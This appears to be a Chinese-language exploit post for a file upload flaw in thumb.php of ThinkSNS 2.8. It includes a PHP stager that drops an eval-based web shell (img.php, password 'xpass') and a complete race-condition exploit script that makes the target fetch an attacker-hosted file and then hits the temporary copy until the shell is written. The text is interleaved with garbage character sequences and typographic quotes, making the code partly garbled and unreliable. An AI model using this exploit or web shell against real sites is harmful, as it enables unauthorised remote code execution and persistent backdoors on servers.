Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
5 ^3 T" T/ g  |2 L存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
( J' Y# Y8 I& D( I, x0 J7 B+ ~' w8 K漏洞文件
7 a  N2 K" l( F( C$ y存在漏洞的文件为：thumb.php
- y4 J( t9 c! {* B$ A. i# |+ ~3 x; Y作者：韦鲲鹏
' K4 c# U5 t. [+ f' k' H; H- Q+ A1、        准备如下PHP文件并上传到服务器（自己的）。
文件内容如下：
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2、        计算出临时的文件名：
( I) {. H- s6 g这里我们可以看文件的99行（刚刚是不是没注意呀！）。

3、        上传临时文件。
4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
<?php
error_reporting(0);
5 I% g9 `( V" K7 K. sset_time_limit(0);
. H4 Z% _1 G1 s) Wini_set(“default_socket_timeout”, 5);
* }* o  k& Z" x' j2 [function http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
0 G& O+ v; e, }( M0 afputs($fp, $headers);
) k/ m) I% D, o/ _' z# mreturn $fp;
}
function http_recv($fp) {
* n! B) P) G, G( ~2 R4 ]$ret=”";
while (!feof($fp))
$ret.= fgets($fp, 1024);
9 B3 C4 ~) _) l& I5 d) Efclose($fp);
return $ret;
}
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
- G% e8 `1 z* B; E' Wprint “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
print “Usage:   php <host> <path> <romote_url>\n”;
: [: |' n# e! P0 \print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
% c- Z7 h9 T4 n4 Q+ gdie();
}
$host = $argv[1];
$path = $argv[2];
$url = $argv[3];
( {1 E4 x0 u7 p* W$i=0;
6 L& M2 H- ]' x# `, e# g/ {# i5 K//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
9 C+ u" l" g& l+ m* e8 U# Y/ P$headers_up .= “Host: “.$host.”\r\n”;
$headers_up .= “Connection: close\r\n\r\n”;
/ [# K, d* @8 r" z5 t+ c, decho $headers_up;
//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
% A8 z2 o6 E/ U5 T8 H4 d$headers .= “Host: “.$host.”\r\n”;
( d; M, f9 `9 ?$ E8 h2 L& v$headers .= “Connection: close\r\n\r\n”;
echo $headers;
1 U8 z/ E* x6 Z7 I$ d. {/ F, ewhile(++$i<10) {
fclose(http_send($host, 80, $headers));
}
( @+ Y; J, o7 m/ u8 M' t- wfclose(http_send($host, 80, $headers_up));
while(++$i<50) {
fclose(http_send($host, 80, $headers));
3 i% ^, y, l" W* i) s: r}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
- V$ |9 Q. I3 F+ {0 j$ C$headers .= “Host: “.$host.”\r\n”;
7 S# i9 g0 N3 h" n" I, ^$headers .= “Connection: close\r\n\r\n”;
$res=http_recv(http_send($host, 80, $headers));
# m" @8 L% s: Y" W" a# y. Yif(preg_match(‘/200 OK/’,$res)) {
9 W6 O# C3 X3 F$ {) Sprint “Success!\n\n”;
+ \) K5 o" w0 q3 }, r} else {
8 M( `: d: a* k2 iprint “Fail!\n\n”;
}
?>
& H& x6 t" u2 s3 [" s4 ^​